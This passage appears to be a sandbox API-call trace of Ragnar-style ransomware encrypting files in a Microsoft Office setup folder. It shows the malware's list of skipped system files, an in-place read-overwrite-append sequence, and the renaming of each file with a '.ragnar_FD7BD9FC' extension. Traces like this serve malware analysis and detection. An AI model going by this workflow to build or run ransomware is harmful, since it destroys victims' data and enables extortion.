returned 0x64 [0061.900] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="BRANDING.DLL" | out: lpString1="BRANDING.DLL") returned="BRANDING.DLL" [0061.900] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned=".DLL" [0061.900] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0061.900] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="autorun.inf") returned 1 [0061.901] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="boot.ini") returned 1 [0061.901] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="bootfont.bin") returned 1 [0061.901] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="bootsect.bak") returned 1 [0061.901] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="bootmgr") returned 1 [0061.901] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="bootmgr.efi") returned 1 [0061.901] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="bootmgfw.efi") returned 1 [0061.901] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="desktop.ini") returned -1 [0061.901] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="iconcache.db") returned -1 [0061.901] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="ntldr") returned -1 [0061.901] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="ntuser.dat") returned -1 [0061.901] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="ntuser.dat.log") returned -1 [0061.901] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="ntuser.ini") returned -1 [0061.901] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="thumbs.db") returned -1 [0061.901] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0061.901] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0061.901] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0061.901] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0061.901] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.901] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="BRANDING.XML" | out: lpString1="BRANDING.XML") returned="BRANDING.XML" [0061.901] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned=".XML" [0061.901] lstrcmpiW (lpString1="BRANDING.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0061.901] lstrcmpiW (lpString1="BRANDING.XML", lpString2="autorun.inf") returned 1 [0061.901] lstrcmpiW (lpString1="BRANDING.XML", lpString2="boot.ini") returned 1 [0061.901] lstrcmpiW (lpString1="BRANDING.XML", lpString2="bootfont.bin") returned 1 [0061.901] lstrcmpiW (lpString1="BRANDING.XML", lpString2="bootsect.bak") returned 1 [0061.901] lstrcmpiW (lpString1="BRANDING.XML", lpString2="bootmgr") returned 1 [0061.901] lstrcmpiW (lpString1="BRANDING.XML", lpString2="bootmgr.efi") returned 1 [0061.901] lstrcmpiW (lpString1="BRANDING.XML", lpString2="bootmgfw.efi") returned 1 [0061.901] lstrcmpiW (lpString1="BRANDING.XML", lpString2="desktop.ini") returned -1 [0061.901] lstrcmpiW (lpString1="BRANDING.XML", lpString2="iconcache.db") returned -1 [0061.901] lstrcmpiW (lpString1="BRANDING.XML", lpString2="ntldr") returned -1 [0061.901] lstrcmpiW (lpString1="BRANDING.XML", lpString2="ntuser.dat") returned -1 [0061.901] lstrcmpiW (lpString1="BRANDING.XML", lpString2="ntuser.dat.log") returned -1 [0061.902] lstrcmpiW (lpString1="BRANDING.XML", lpString2="ntuser.ini") returned -1 [0061.902] lstrcmpiW (lpString1="BRANDING.XML", lpString2="thumbs.db") returned -1 [0061.902] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0061.902] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0061.902] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0061.902] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0061.902] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0061.902] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0061.902] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0061.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0061.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0061.904] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=596341) returned 1 [0061.904] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x9196c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.904] GetProcessHeap () returned 0x580000 [0061.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0061.904] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0061.905] VirtualAlloc (lpAddress=0x0, dwSize=0x91975, flAllocationType=0x3000, flProtect=0x4) returned 0x300000 [0061.905] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.905] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0061.905] ReadFile (in: hFile=0x108, lpBuffer=0x300000, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesRead=0x1e9984*=0x91975, lpOverlapped=0x0) returned 1 [0061.919] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0061.922] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x91975, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.922] WriteFile (in: hFile=0x108, lpBuffer=0x300000*, nNumberOfBytesToWrite=0x91975, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesWritten=0x1e9980*=0x91975, lpOverlapped=0x0) returned 1 [0061.924] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x91975, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.924] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.927] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x91975, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.927] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.927] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.927] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.927] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0061.927] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.927] GetProcessHeap () returned 0x580000 [0061.927] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0061.927] CloseHandle (hObject=0x108) returned 1 [0061.931] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" [0061.931] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.ragnar_FD7BD9FC" [0061.931] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0061.932] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0061.932] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.932] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="OCT.CHM" | out: lpString1="OCT.CHM") returned="OCT.CHM" [0061.932] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned=".CHM" [0061.932] lstrcmpiW (lpString1="OCT.CHM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0061.932] lstrcmpiW (lpString1="OCT.CHM", lpString2="autorun.inf") returned 1 [0061.932] lstrcmpiW (lpString1="OCT.CHM", lpString2="boot.ini") returned 1 [0061.932] lstrcmpiW (lpString1="OCT.CHM", lpString2="bootfont.bin") returned 1 [0061.932] lstrcmpiW (lpString1="OCT.CHM", lpString2="bootsect.bak") returned 1 [0061.932] lstrcmpiW (lpString1="OCT.CHM", lpString2="bootmgr") returned 1 [0061.932] lstrcmpiW (lpString1="OCT.CHM", lpString2="bootmgr.efi") returned 1 [0061.932] lstrcmpiW (lpString1="OCT.CHM", lpString2="bootmgfw.efi") returned 1 [0061.932] lstrcmpiW (lpString1="OCT.CHM", lpString2="desktop.ini") returned 1 [0061.932] lstrcmpiW (lpString1="OCT.CHM", lpString2="iconcache.db") returned 1 [0061.932] lstrcmpiW (lpString1="OCT.CHM", lpString2="ntldr") returned 1 [0061.932] lstrcmpiW (lpString1="OCT.CHM", lpString2="ntuser.dat") returned 1 [0061.932] lstrcmpiW (lpString1="OCT.CHM", lpString2="ntuser.dat.log") returned 1 [0061.932] lstrcmpiW (lpString1="OCT.CHM", lpString2="ntuser.ini") returned 1 [0061.932] lstrcmpiW (lpString1="OCT.CHM", lpString2="thumbs.db") returned -1 [0061.932] lstrcmpiW (lpString1=".CHM", lpString2=".db") returned -1 [0061.932] lstrcmpiW (lpString1=".CHM", lpString2=".sys") returned -1 [0061.932] lstrcmpiW (lpString1=".CHM", lpString2=".dll") returned -1 [0061.932] lstrcmpiW (lpString1=".CHM", lpString2=".lnk") returned -1 [0061.932] lstrcmpiW (lpString1=".CHM", lpString2=".msi") returned -1 [0061.932] lstrcmpiW (lpString1=".CHM", lpString2=".drv") returned -1 [0061.932] lstrcmpiW (lpString1=".CHM", lpString2=".exe") returned -1 [0061.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0061.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0061.950] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=71236) returned 1 [0061.950] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x1163b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.950] GetProcessHeap () returned 0x580000 [0061.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0061.950] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0061.952] VirtualAlloc (lpAddress=0x0, dwSize=0x11644, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0061.952] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.952] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0061.952] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x11644, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x11644, lpOverlapped=0x0) returned 1 [0061.954] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0061.954] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11644, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.954] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x11644, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x11644, lpOverlapped=0x0) returned 1 [0061.955] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11644, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.955] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.955] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x11644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.955] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.955] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.955] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.956] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0061.956] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.956] GetProcessHeap () returned 0x580000 [0061.956] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0061.956] CloseHandle (hObject=0x108) returned 1 [0061.957] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" [0061.957] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.ragnar_FD7BD9FC" [0061.957] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0061.957] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0061.957] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.957] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="OfficeMUI.XML" | out: lpString1="OfficeMUI.XML") returned="OfficeMUI.XML" [0061.957] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned=".XML" [0061.958] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0061.958] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="autorun.inf") returned 1 [0061.958] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="boot.ini") returned 1 [0061.958] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="bootfont.bin") returned 1 [0061.958] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="bootsect.bak") returned 1 [0061.958] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="bootmgr") returned 1 [0061.958] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="bootmgr.efi") returned 1 [0061.958] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="bootmgfw.efi") returned 1 [0061.958] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="desktop.ini") returned 1 [0061.958] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="iconcache.db") returned 1 [0061.958] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="ntldr") returned 1 [0061.958] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="ntuser.dat") returned 1 [0061.958] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="ntuser.dat.log") returned 1 [0061.958] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="ntuser.ini") returned 1 [0061.958] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="thumbs.db") returned -1 [0061.958] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0061.958] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0061.958] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0061.958] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0061.958] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0061.958] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0061.958] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0061.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0061.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0061.958] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=5557) returned 1 [0061.959] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x15ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.959] GetProcessHeap () returned 0x580000 [0061.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0061.959] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0061.960] VirtualAlloc (lpAddress=0x0, dwSize=0x15b5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0061.960] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.960] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0061.960] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x15b5, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x15b5, lpOverlapped=0x0) returned 1 [0061.961] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0061.961] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15b5, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.961] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x15b5, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x15b5, lpOverlapped=0x0) returned 1 [0061.961] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15b5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.961] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.962] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x15b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.962] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.962] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.962] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.962] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, 